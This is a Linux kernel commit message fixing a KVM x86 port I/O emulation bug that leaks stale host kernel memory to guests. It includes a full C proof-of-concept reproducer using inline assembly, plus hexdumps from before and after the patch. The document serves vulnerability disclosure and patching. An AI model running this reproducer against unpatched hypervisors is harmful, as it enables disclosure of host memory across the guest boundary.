• Wanpeng Li's avatar
    KVM: X86: Fix read out-of-bounds vulnerability in kvm pio emulation · 156c18c7
    Wanpeng Li authored
    [ Upstream commit cbfc6c91 ]
    
    Huawei folks reported a read out-of-bounds vulnerability in kvm pio emulation.
    
    - "inb" instruction to access PIT Mod/Command register (ioport 0x43, write only,
      a read should be ignored) in guest can get a random number.
    - "rep insb" instruction to access PIT register port 0x43 can control memcpy()
      in emulator_pio_in_emulated() to copy max 0x400 bytes but only read 1 bytes,
      which will disclose the unimportant kernel memory in host but no crash.
    
    The similar test program below can reproduce the read out-of-bounds vulnerability:
    
    void hexdump(void *mem, unsigned int len)
    {
            unsigned int i, j;
    
            for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++)
            {
                    /* print offset */
                    if(i % HEXDUMP_COLS == 0)
                    {
                            printf("0x%06x: ", i);
                    }
    
                    /* print hex data */
                    if(i < len)
                    {
                            printf("%02x ", 0xFF & ((char*)mem)[i]);
                    }
                    else /* end of block, just aligning for ASCII dump */
                    {
                            printf("   ");
                    }
    
                    /* print ASCII dump */
                    if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1))
                    {
                            for(j = i - (HEXDUMP_COLS - 1); j <= i; j++)
                            {
                                    if(j >= len) /* end of block, not really printing */
                                    {
                                            putchar(' ');
                                    }
                                    else if(isprint(((char*)mem)[j])) /* printable char */
                                    {
                                            putchar(0xFF & ((char*)mem)[j]);
                                    }
                                    else /* other char */
                                    {
                                            putchar('.');
                                    }
                            }
                            putchar('\n');
                    }
            }
    }
    
    int main(void)
    {
    	int i;
    	if (iopl(3))
    	{
    		err(1, "set iopl unsuccessfully\n");
    		return -1;
    	}
    	static char buf[0x40];
    
    	/* test ioport 0x40,0x41,0x42,0x43,0x44,0x45 */
    
    	memset(buf, 0xab, sizeof(buf));
    
    	asm volatile("push %rdi;");
    	asm volatile("mov %0, %%rdi;"::"q"(buf));
    
    	asm volatile ("mov $0x40, %rdx;");
    	asm volatile ("in %dx,%al;");
    	asm volatile ("stosb;");
    
    	asm volatile ("mov $0x41, %rdx;");
    	asm volatile ("in %dx,%al;");
    	asm volatile ("stosb;");
    
    	asm volatile ("mov $0x42, %rdx;");
    	asm volatile ("in %dx,%al;");
    	asm volatile ("stosb;");
    
    	asm volatile ("mov $0x43, %rdx;");
    	asm volatile ("in %dx,%al;");
    	asm volatile ("stosb;");
    
    	asm volatile ("mov $0x44, %rdx;");
    	asm volatile ("in %dx,%al;");
    	asm volatile ("stosb;");
    
    	asm volatile ("mov $0x45, %rdx;");
    	asm volatile ("in %dx,%al;");
    	asm volatile ("stosb;");
    
    	asm volatile ("pop %rdi;");
    	hexdump(buf, 0x40);
    
    	printf("\n");
    
    	/* ins port 0x40 */
    
    	memset(buf, 0xab, sizeof(buf));
    
    	asm volatile("push %rdi;");
    	asm volatile("mov %0, %%rdi;"::"q"(buf));
    
    	asm volatile ("mov $0x20, %rcx;");
    	asm volatile ("mov $0x40, %rdx;");
    	asm volatile ("rep insb;");
    
    	asm volatile ("pop %rdi;");
    	hexdump(buf, 0x40);
    
    	printf("\n");
    
    	/* ins port 0x43 */
    
    	memset(buf, 0xab, sizeof(buf));
    
    	asm volatile("push %rdi;");
    	asm volatile("mov %0, %%rdi;"::"q"(buf));
    
    	asm volatile ("mov $0x20, %rcx;");
    	asm volatile ("mov $0x43, %rdx;");
    	asm volatile ("rep insb;");
    
    	asm volatile ("pop %rdi;");
    	hexdump(buf, 0x40);
    
    	printf("\n");
    	return 0;
    }
    
    The vcpu->arch.pio_data buffer is used by both in/out instrutions emulation
    w/o clear after using which results in some random datas are left over in
    the buffer. Guest reads port 0x43 will be ignored since it is write only,
    however, the function kernel_pio() can't distigush this ignore from successfully
    reads data from device's ioport. There is no new data fill the buffer from
    port 0x43, however, emulator_pio_in_emulated() will copy the stale data in
    the buffer to the guest unconditionally. This patch fixes it by clearing the
    buffer before in instruction emulation to avoid to grant guest the stale data
    in the buffer.
    
    In addition, string I/O is not supported for in kernel device. So there is no
    iteration to read ioport %RCX times for string I/O. The function kernel_pio()
    just reads one round, and then copy the io size * %RCX to the guest unconditionally,
    actually it copies the one round ioport data w/ other random datas which are left
    over in the vcpu->arch.pio_data buffer to the guest. This patch fixes it by
    introducing the string I/O support for in kernel device in order to grant the right
    ioport datas to the guest.
    
    Before the patch:
    
    0x000000: fe 38 93 93 ff ff ab ab .8......
    0x000008: ab ab ab ab ab ab ab ab ........
    0x000010: ab ab ab ab ab ab ab ab ........
    0x000018: ab ab ab ab ab ab ab ab ........
    0x000020: ab ab ab ab ab ab ab ab ........
    0x000028: ab ab ab ab ab ab ab ab ........
    0x000030: ab ab ab ab ab ab ab ab ........
    0x000038: ab ab ab ab ab ab ab ab ........
    
    0x000000: f6 00 00 00 00 00 00 00 ........
    0x000008: 00 00 00 00 00 00 00 00 ........
    0x000010: 00 00 00 00 4d 51 30 30 ....MQ00
    0x000018: 30 30 20 33 20 20 20 20 00 3
    0x000020: ab ab ab ab ab ab ab ab ........
    0x000028: ab ab ab ab ab ab ab ab ........
    0x000030: ab ab ab ab ab ab ab ab ........
    0x000038: ab ab ab ab ab ab ab ab ........
    
    0x000000: f6 00 00 00 00 00 00 00 ........
    0x000008: 00 00 00 00 00 00 00 00 ........
    0x000010: 00 00 00 00 4d 51 30 30 ....MQ00
    0x000018: 30 30 20 33 20 20 20 20 00 3
    0x000020: ab ab ab ab ab ab ab ab ........
    0x000028: ab ab ab ab ab ab ab ab ........
    0x000030: ab ab ab ab ab ab ab ab ........
    0x000038: ab ab ab ab ab ab ab ab ........
    
    After the patch:
    
    0x000000: 1e 02 f8 00 ff ff ab ab ........
    0x000008: ab ab ab ab ab ab ab ab ........
    0x000010: ab ab ab ab ab ab ab ab ........
    0x000018: ab ab ab ab ab ab ab ab ........
    0x000020: ab ab ab ab ab ab ab ab ........
    0x000028: ab ab ab ab ab ab ab ab ........
    0x000030: ab ab ab ab ab ab ab ab ........
    0x000038: ab ab ab ab ab ab ab ab ........
    
    0x000000: d2 e2 d2 df d2 db d2 d7 ........
    0x000008: d2 d3 d2 cf d2 cb d2 c7 ........
    0x000010: d2 c4 d2 c0 d2 bc d2 b8 ........
    0x000018: d2 b4 d2 b0 d2 ac d2 a8 ........
    0x000020: ab ab ab ab ab ab ab ab ........
    0x000028: ab ab ab ab ab ab ab ab ........
    0x000030: ab ab ab ab ab ab ab ab ........
    0x000038: ab ab ab ab ab ab ab ab ........
    
    0x000000: 00 00 00 00 00 00 00 00 ........
    0x000008: 00 00 00 00 00 00 00 00 ........
    0x000010: 00 00 00 00 00 00 00 00 ........
    0x000018: 00 00 00 00 00 00 00 00 ........
    0x000020: ab ab ab ab ab ab ab ab ........
    0x000028: ab ab ab ab ab ab ab ab ........
    0x000030: ab ab ab ab ab ab ab ab ........
    0x000038: ab ab ab ab ab ab ab ab ........
    Reported-by: default avatarMoguofang <moguofang@huawei.com>
    Cc: Paolo Bonzini <pbonzini@redhat.com>
    Cc: Radim Krčmář <rkrcmar@redhat.com>
    Cc: Moguofang <moguofang@huawei.com>
    Signed-off-by: default avatarWanpeng Li <wanpeng.li@hotmail.com>
    Cc: stable@vger.kernel.org
    Signed-off-by: default avatarRadim Krčmář <rkrcmar@redhat.com>
    Signed-off-by: default avatarSasha Levin <alexander.levin@verizon.com>
    156c18c7
x86.c 203 KB